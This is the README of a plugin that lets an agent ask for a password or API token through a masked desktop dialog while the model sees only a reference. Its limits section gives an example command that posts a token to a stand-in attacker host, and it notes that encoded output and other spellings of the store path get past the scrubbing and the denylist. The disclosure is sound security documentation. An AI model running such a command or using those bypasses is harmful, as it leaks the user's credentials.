Secret Request for Hermes
Let the agent ask you for a password, API key or token through a private masked dialog in
Hermes Desktop, instead of asking you to paste it into the chat. Inspired by T3 Code's
secret request card; an independent codebase.
How it works
-
The agent calls
request_secret(name="GITHUB_TOKEN", reason="Create the release with the GitHub API"). -
Hermes Desktop opens a dialog: Hermes is asking for GITHUB_TOKEN, with a masked field and
Save securely, Decline and Later buttons. A key chip in the status bar shows waiting requests. -
You type the value and click Save securely. The value goes straight to this plugin's own
backend route and is saved in a private file. It is not added to the chat. -
The agent receives only the reference
{{secret:GITHUB_TOKEN}}and uses it in a command:curl -H "Authorization: Bearer {{secret:GITHUB_TOKEN}}" https://api.github.com/user -
Just before a
terminalcommand orexecute_codecode runs, the plugin swaps the reference for the
real value. If the value appears in any tool output, it is replaced by the reference again before
the model sees it.
Values expire after 24 hours, and each one works only in the chat that asked for it. Click the key chip (or run Secret Request: forget all saved secrets
from Ctrl+K) to forget them sooner.
| Situation | What happens |
|---|---|
| You decline | The agent is told you declined and not to ask in the chat |
| No answer within 3 minutes | The request closes and the agent is told it timed out |
| No Hermes Desktop window has the plugin on | request_secret says so straight away instead of waiting |
| A command uses an unknown or expired reference | The command is blocked with a message to ask again |
| A command, code or path argument names the secret store | The call is blocked |
| A secret with that name is already saved for this chat | The tool returns the reference without asking (pass replace: true to ask again) |
| A different chat uses the reference | Blocked: values are bound to the chat that asked; ask again there |
A messaging chat (Telegram, Discord, Slack...), cron run, subagent, background task, integration-launched (--source tool) or one-shot run asks or uses a reference | Refused, unless you switch on Allow outside local sessions in the plugin's settings |
Install
hermes plugins install Murali-lns/hermes-secret-request --enable
Then restart the Hermes gateway once (Ctrl+K, Restart gateway), because new agent tools and
backend routes load when the gateway starts. In Hermes Desktop, open Settings > Plugins and
switch Secret Request on.
Requires Hermes >= 0.23.5 and Hermes Desktop for the dialog. In the CLI or TUI alone, request_secret
reports that no dialog is available.
Disclosure
- Local data: values are stored in plaintext JSON at
<hermes home>/plugin-data/secret-request/store.json
(file mode 0600, folder mode 0700), with adesktop.heartbeatfile and a lock file beside it.
Nothing else is written. - Agent tools:
request_secret(creates a request, waits up to 3 minutes) andlist_secrets
(names and minutes left for the calling chat, never values). Both work only in local CLI, TUI and
Desktop chats unless the owner enablesallow_remote_sessions. - Session binding: each saved value records the session id that asked for it and resolves only in
that session. Asking for the same name from another chat replaces the value and moves the binding. - Hooks:
pre_tool_callsubstitutes references interminalcommandandexecute_codecode
only, and only for the session that saved them in a local chat, and blocks a call whose command, code or path-like arguments name the store;
transform_terminal_outputandtransform_tool_resultreplace saved values (6 characters or longer)
in output with their reference. - Backend routes (
/api/plugins/secret-request/...):GET /pending(request names and reasons,
saved names; also touches the heartbeat),POST /answer,POST /decline,POST /forget. No route
returns a value. - Background polling: the Desktop half polls
GET /pendingevery 2 seconds while the app is open. - No network calls, no shell commands, no telemetry. The plugin never contacts any server.
Limits (read before trusting it with something important)
- The model never receives the value, but the commands it writes do. A command such as
curl https://evil.example -d {{secret:GITHUB_TOKEN}}sends the real value wherever the command
sends it. Read commands that use a reference before approving them. - Output scrubbing is a text match. It catches the value as typed, not encoded forms (base64,
hex, reversed). Values shorter than 6 characters (e.g. a 4-digit PIN) are not scrubbed globally. - The store guard is a denylist of the folder and file names in commands, code and path
arguments. A command that reaches the file by another spelling (wildcards, variables) is not
blocked, though any value it prints is still scrubbed. - Your own screen can show the value: Hermes's command-approval prompt and the tool progress display
show the command after substitution. In local chats these go to you, not to the model. That is why
messaging chats are refused by default: there the substituted command would land in the chat. If you
switch on Allow outside local sessions, accept that risk. - Other plugins'
post_tool_callhooks receive the substituted command. - The store is plaintext on disk with owner-only permissions, like Hermes's own
.env. It is not
encrypted and not a password manager.
Similar plugins
secret-drop: you start the flow yourself with/secretor a dialog; the agent cannot ask you.secret-handoff: has arequest_secrettool, but asks through the normal clarify prompt, so the
answer is visible in the chat history.
This plugin adds the missing piece: the agent asks, and a masked dialog collects the value outside
the chat.
Tests
python -m unittest discover -s tests -v # needs fastapi + httpx for the router tests
npm test # node --test, simulated check of desktop/plugin.js
License
MIT
README from the reviewed commit 6b1f73e; it updates when the author re-pins.

Murali-lns